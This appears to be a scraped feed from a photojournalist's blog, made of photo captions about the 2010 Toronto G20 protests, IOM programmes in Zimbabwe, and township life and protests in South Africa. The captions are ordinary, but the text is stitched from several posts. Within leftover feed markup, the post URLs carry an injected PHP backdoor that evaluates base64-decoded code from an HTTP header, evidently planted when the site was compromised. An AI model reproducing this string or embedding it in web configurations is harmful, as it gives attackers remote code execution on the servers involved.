The atmosphere of the city changed overnight. On June 27th, police presence was noticeably greater. Myself and three other student journalists were searched at least four times each. For the most part, the police were cordial and noninvasive. Sometimes they were downright uninterested and were doing it as a formality. Others were not so lucky. Hundreds were arrested throughout the day without process. A friend of mine who passed by a protest later in the evening was was arrested and held in a detainment facility in the rain without food, water or access to washrooms. People began volunteering to be arrested and taken to the central detention centre so that they could get out of the rain.

Graffiti removal and glass repair companies were hard at work in the morning to fix damage caused by protests the day before. On June 26th, violent anarchist groups smashed windows throughout the downtown core and even took to looting in a few cases.

A man is arrested along College Street and University Avenue in the early morning. Hundreds were arrested and even more were searched throughout the day as police tried hard to avoid a repeat of June 26th.

Police officers search the bag of a protester and question him. For many, this was not a rare occurrence. One student journalist was searched as many as eight times and had a pair of ski goggles, to protect from tear gas, taken from him.

A peaceful but unscheduled bike rally known as the Bike Block meets with riot police along Spadina Avenue. The Bike Block is affiliated with the Critical Mass movement, in which thousands of cyclists across 300 cities worldwide ride through their city streets to protest the lack of infrastructure for cyclists.

After a quick detour around the police, the Bike Block rides south along Queen's Park.

In true Canadian fashion, police and protesters politely discuss their demands.

On Yonge Street, a street-side rock band plays for cyclists as they pass by.

Police escort the Bike Block through Toronto's leafy downtown core.

A Bike Block protester walks along Yonge Street.

A small but passionate group of protesters criticize G20 leaders for inviting Ethiopian president Meles Zenawi, who they claim is responsible for crimes against humanity in the Somali region of Ogaden.

A protester sits before a large contingent of police at the intersection of Bay Street and King Street, where a police car was torched the day before. Later that night, many of the protesters here were sent to a detention centre at Queen Street and Spadina Avenue, where they spent up to three hours in the rain without food, water, shelter or access to washrooms.

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The IOM Safe Zones

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As part of the Safe Journey Information Campaign, IOM has established two Safe Zones — one in Chiredzi and the other in Bulawayo — in an effort to promote safe migration in Zimbabwe. The Safe Zones are run by teams of young adults who provide formal and informal lessons to youth between the ages of 15 and 24 on the risks and realities of irregular migration. These lessons touch on topics such as human trafficking, HIV/AIDS and gender based violence.

The Safe Zones also provide a safe place for kids in the community to play and socialize. Drifting through the Chiredzi Safe Zone, we saw a group of young children playing board games while others were playing volleyball. In Bulawayo, an impromptu soccer match took up the entire courtyard and was the central focus of the afternoon; if kids weren’t playing, they were rooting for one side or the other. Below is a selection of photographs from both Safe Zones.

An impromptu soccer game at the Chiredzi Safe Zone. The Chiredzi Safe Zone was the first of its kind in Zimbabwe, opened in February 2007.

A group of youth play soccer in the courtyard at the Bulawayo Safe Zone. Opened in Feburary 2008, the Safe Zone promotes education on migration issues.

A group of children play an educational version of Snakes and Ladders which teaches children about the risks and realities of irregular migration.

A group of young women learn how to knit at the Chiredzi Safe Zone. They intend to sell their wares in the community as an additional source of income for their families.

An impromptu soccer match at the Bulawayo Safe Zone.

A young boy dribbles a soccer ball in the courtyard of the Bulawayo Safe Zone.

At the Chiredzi Safe Zone, a group of children play darts. The Safe Zones provide a context where children can play and socialize, while learning about migration issues.

A group of young entertainers sing and dance about the risks and realities of irregular migration.

A poignant drama put on by a group of young actors depicts a young woman being sold into prostitution by a man in her community. Through "edutainment" -- entertaining education -- IOM hopes to reach out to children and youth in the community and deter them from trying to migrate illegally.

]]> http://willvanengen.com/blog/2010/06/26/zimbabwe-a-nation-in-recovery-part-2-of-6/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 http://willvanengen.com/blog/2010/02/17/zimbabwe-a-nation-in-recovery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://willvanengen.com/blog/2010/02/17/zimbabwe-a-nation-in-recovery/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 17 Feb 2010 19:26:00 +0000 admin http://willvanengen.com/blog/?p=115 In August of 2009, Austin Andrews and I visited Zimbabwe on assignment for the International Organization for Migration (IOM). Our task was to document the work of IOM in Zimbabwe as the country recovered from an unprecedented economic meltdown. Photographs are copyright © 2009 Will van Engen / International Organization for Migration (IOM).

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Migration and Health: Caledonia

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Our journey in Zimbabwe began with a visit to one of the hardest hit villages in the country. In 2005, the government launched a program known as “Operation Restore Order,” ostensibly aimed at clearing illegal housing developments. Critics argue that these slums are bases of support for the opposition party, the Movement for Democratic Change (MDC), and the operation was a move to consolidate political power.

Soldiers demolished thousands of homes in slums surrounding Harare and other major centres, leaving close to 700,000 people without a place to stay. Several transit camps were established on the outskirts of Harare. Caledonia was one of those places. The International Organization for Migration (IOM) operates a mobile medical clinic in Caledonia once a month. For many this is the only access to medical attention they will have.

Hundreds of Caledonia residents wait to see health professionals at IOM’s mobile health clinic.

A young girl waits in line outside of the medical clinic.

A mother and child await medical attention outside of the mobile clinic.

Two young girls wait outside of the medical clinic.

A mother and child await medical attention at the IOM clinic.

A medical professional checks the blood pressure of an elderly Caledonia resident.

An elderly woman has a routine health check performed.

A child has his eye examined by an IOM health professional.

A child sits outside of a village in Ward 9, Zimbabwe. Zimbabwe’s economy has begun the slow and labourious climb back to economic stability. The abandonment of the Zim Dollar, and subsequent adoption of the US Dollar and the South African Rand as official currency, has ended the rampant inflation Zimbabwe saw in 2008. More photos to come soon.

In the 1960s, the apartheid government announced its plans to demolish all family housing and build 25 single-sex hostels, an effort that was fiercely resisted by residents. Some 70,000 people were forcibly removed from Alex to Soweto and Tembisa but the plan had to be scrapped in 1979 due to high costs and increasing public resistance. In the early 90s, the few hostels that were built became hotbeds of political violence with members of the Inkatha Freedom Party (IFP) and the African National Congress (ANC) fighting a bloody urban war. It still remains the precarious place it was in the days of apartheid; 19 Alex residents were killed in the xenophobic violence that swept the country in May 2008.

Although electricity has been provided to most of Alex now, it is still referred to as the Dark City for the decades it was without power.

A woman and child sell “fatcakes” to morning commuters.

Alex residents begin their morning commute to school and work.

Alex is organized into three main areas: West Alex, East Alex and the Far East Bank. West Alex, also known as Old Alex (pictured above), is mainly comprised of cheaply built shacks with poor access to water and electricity. East Alex is a middle-class black neighbourhood with some gated homes. The Far East bank is composed of RDP homes built by the government for lower-income residents.

Poorly constructed shacks in front of the women’s hostel.

The humble interior of a shanty home is reflected in a mirror.

A child sits on a sewage pipe near the banks of the Jutskei River.

A township resident walks past a tangled razor wire enclosure.

A schoolgirl walks past an educational mural featuring Sleeping Beauty and the Seven Dwarves. The woman’s hostel looms behind.

A young boy hides from the sun in an Alexandra alley.

Young men warm their hands near a streetside shop.

Often-dangerous overhead power lines are a common site in Alex.

A vocal member of the Umphakathi Development Forum, an organization of concerned township residents, describes the lack of proper sanitation and electricity in Alex.

A serious rat infestation threatens to promote disease in the township. Dead rats are a common sight on the streets, where children play and where most local commerce happens.

Political rivalries that began in the early 80s and 90s still fester in Alexandra. A campaign poster of ANC leader Jacob Zuma lies defaced on a store wall.

An ANC supporter shows off a campaign t-shirt.

A young boy plays in the courtyard of Alexandra’s women’s hostel. More photos from inside the hostel coming soon.

Informal settlements, known colloquially as squatter camps, sit on the river of the Jutskei River. Every year, hundreds of houses along the river are destroyed by rising water levels.

Kids play on the banks of the Jutskei River.

A tree shoots above the tin roofs of the informal settlements.

On the Far East Bank, homes built under the government’s Reconstruction and Development Programme (RDP) are under construction. On the horizon lies Old Alex, where citizens wait years on waiting lists to get an RDP home. Some people we talked to have been on the list since 1996; they claim corrupt officials grant homes to people who will pay a bribe.

An RDP construction worker.

The interior of an RDP home.

RDP construction workers are silhouetted as the sun sets on the Far East Bank.

Check out Austin Andrews’ blog for some great photos from the same day.

Union leaders of the Struggle on display behind attempted perforations in the Casspir’s bulletproof hide.

South Africa has seen a wave of violent protests in recent weeks. On Wednesday, a township near Balfour saw riots reminiscent of the xenophobic violence of last year; some 100 foreigners huddled outside the Balfour police station, afraid to return to their homes. Faced with high unemployment and lack of services, township residents are resentful of foreigners who they fear may take jobs away from South Africans.

President Zuma’s ANC administration campaigned on a platform to reduce poverty and has since had to renege on a promise to create 500,000 jobs. In the midst of an economic recession, it may be difficult to meet the demands of the many trade unions. The government barely avoided a strike by rail workers today.

Municipal workers chant and ululate as they march to the municipal buildings.

“If you pay peanuts, then hire monkeys.” Strikers have called for a 15% increase in wages among other demands.

An angry striker stares down a security official outside the headquarters of Pik It Up, the City of Johannesburg’s waste management company.

Other marchers diffuse the situation and keep the peace.

An angry striker tosses a bag of garbage at the front doors of Pik It Up.

A union member pleads with the crowd to stop throwing garbage at the building.

Despite the efforts of some union members, strikers continue to throw trash onto the streets.

Outside municipal government buildings –and the headquarters of FIFA South Africa– protesters sing and dance while waiting for an address from municipal leaders.

Union leaders address the crowd.

Mayor Amos Masondo prepares to address the crowd.

Union members cite the large salaries municipal officials make as one reason for a raise. Samwu (South African Municipal Workers Union) secretary general Dumisani Langa was quoted in The Star as saying that “an executive director earns about R1 Million (US $130,000)…while ordinary workers who perform critical duties earn just R3500 (US $450) a month.”

Police stand between irate union members and curt politicians.

An older man tests the resolve of a police unit protecting the podium, moments before the crowds disperse. Local officials have so far not agreed to meet the demands of the workers; Samwu has said that it will continue striking till at least Wednesday.

To see an excellent set of photos on the same event, check out Austin Andrews’ photoblog by clicking here.

Fed up with the lack of service delivery in their township, residents congregate in a soccer stadium to hear the remarks of Mayor Lefty Tsotetsi on July 22nd.

Residents of Siyathemba township, on the outskirts of Balfour, climb to get a better view of the mayor’s remarks.

Angry with the lack of sanitation, water and garbage services  –services that the ANC government has pledged to fix– young and old come out to give the mayor a piece of their mind.

A middle-aged man yells as the crowd behind stomps and jeers.

After the crowds file out of the stadium, people begin throwing stones at police nyalas (armoured vehicles).

Police officers check out the scene.

In response to the crowds, police break up the improvised street barricades and shoot rubber bullets and tear gas into the crowds.

Township dwellers run as rubber bullets are fired in their direction.

Photographers Alon Skuy and Thys Dullaart of the Times run to find a better position.

A photographer and videographer take cover on a porch as a police nyala is pelted with rocks and bottles.

As the crowds subside, township residents warm themselves by a flaming road block.

As the sun sets, a police nyala makes another pass.

Residents warm themselves by a makeshift road block. As the sun goes down, residents retire from the protests for now, their anger burning beneath the surface. It remains to be seen whether the situation will get uglier in days to come.